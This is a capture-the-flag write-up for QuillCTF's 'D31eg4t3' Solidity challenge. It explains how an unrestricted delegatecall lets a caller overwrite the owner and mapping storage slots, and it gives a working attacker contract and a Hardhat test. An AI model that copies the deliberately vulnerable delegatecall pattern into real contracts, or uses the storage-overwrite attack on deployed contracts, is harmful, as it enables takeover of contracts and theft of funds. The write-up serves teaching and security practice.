QuillCTF: 5. D31eg4t3
Tags: security, challenge, web3, solidity
Published: 2023-01-18 20:31:28

> This CTF challenge is developed to showcase the vulnerability which can be introduced by using delegatecall() incorrectly.
>
> “Handle with care, It’s D31eg4t3”

**Objective of CTF:**

- Become the owner of the contract.
- Make `canYouHackMe` mapping to `true` for your own address.

**Target contract:**

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract D31eg4t3 {
  uint a = 12345;
  uint8 b = 32;
  string private d; // Super Secret data.
  uint32 private c; // Super Secret data.
  string private mot; // Super Secret data.
  address public owner;
  mapping(address => bool) public canYouHackMe;

  modifier onlyOwner() {
    require(false, "Not a Owner");
    _;
  }

  constructor() {
    owner = msg.sender;
  }

  function hackMe(bytes calldata bites) public returns (bool, bytes memory) {
    (bool r, bytes memory msge) = address(msg.sender).delegatecall(bites);
    return (r, msge);
  }

  function hacked() public onlyOwner {
    canYouHackMe[msg.sender] = true;
  }
}
```

## The Attack

In this challenge, we are given a free-pass to make a `delegatecall` via the `hackMe` function. That is awesome, because `delegatecall` allows you to run code in the context of the caller contract. A side-effect of this is that the called contract can write to whatever storage slot they want with this. In this case, it looks like we are tasked with becoming the owner, and then calling the `hacked` function.

Let us first check the storage layout too see where `owner` would be. If all variables are less than 32 bytes in size, we should see it in the 6th slot (`0x05`). We can not always assume that to be the case, especially when there are strings. So let us just make some calls to the contract with `ethers.getStorageAt`. We find that:

```c
Slot 0 : 0x0000000000000000000000000000000000000000000000000000000000003039 // uint a
Slot 1 : 0x0000000000000000000000000000000000000000000000000000000000000020 // uint8 b
Slot 2 : 0x533020434c305333205933542053302046345200000000000000000000000026 // string d
Slot 3 : 0x0000000000000000000000000000000000000000000000000000000000000539 // uint32 c
Slot 4 : 0x3100000000000000000000000000000000000000000000000000000000000002 // string mot
Slot 5 : 0x000000000000000000000000698ee928558640e35f2a33cc1e535cf2f9a139c8 // address owner
```

So we just need to overwrite the 6th slot in the contract with our address. **However**, if you go on with the attack this way, you will notice that you always get stuck at `onlyOwner` modifier! The catch is that this modifier always reverts, no matter what; it has `require(false)` in it! So, although becoming the owner is a part of the objective, it is not enough. We also need to override mapping value too. Doing that is the same, we just need to make sure that the mapping storage variable is at the correct slot, in this case it will be the slot right after the `owner`, which is `Slot 6`.

We are also given the ability to pass `calldata` to the `delegatecall` via `bites` parameter, but we don't really need it for the attack. We can just write our code within a fallback function, which will execute when we provide an empty calldata.

## Proof of Concept

The attacker contract is as follows:

```solidity
contract D31eg4t3Attacker {
  uint256 slot0;
  uint256 slot1;
  uint256 slot2;
  uint256 slot3;
  uint256 slot4;
  address owner; // owner
  mapping(address => bool) public yesICan; // canYouHackMe

  function pwn(address target) external {
    (bool success, ) = D31eg4t3(target).hackMe("");
    require(success, "failed.");
  }

  fallback() external {
    owner = tx.origin;
    yesICan[tx.origin] = true;
  }
}
```

The Hardhat test code to demonstrate this attack is given below. Contract types are generated via TypeChain.

```typescript
describe('QuillCTF 5: D31eg4t3', () => {
  let contract: D31eg4t3;
  let attackerContract: D31eg4t3Attacker;
  let owner: SignerWithAddress;
  let attacker: SignerWithAddress;

  before(async () => {
    [owner, attacker] = await ethers.getSigners();
    contract = await ethers.getContractFactory('D31eg4t3', owner).then(f => f.deploy());
    await contract.deployed();
  });

  it('should claim ownership and hack', async () => {
    // deploy the attacker contract
    attackerContract = await ethers.getContractFactory('D31eg4t3Attacker', attacker).then(f => f.deploy());
    await attackerContract.deployed();

    // initiate first claim and consequent re-entries via pwn
    await attackerContract.connect(attacker).pwn(contract.address);
    expect(await contract.owner()).to.eq(attacker.address);
    expect(await contract.canYouHackMe(attacker.address)).to.be.true;
  });
});
```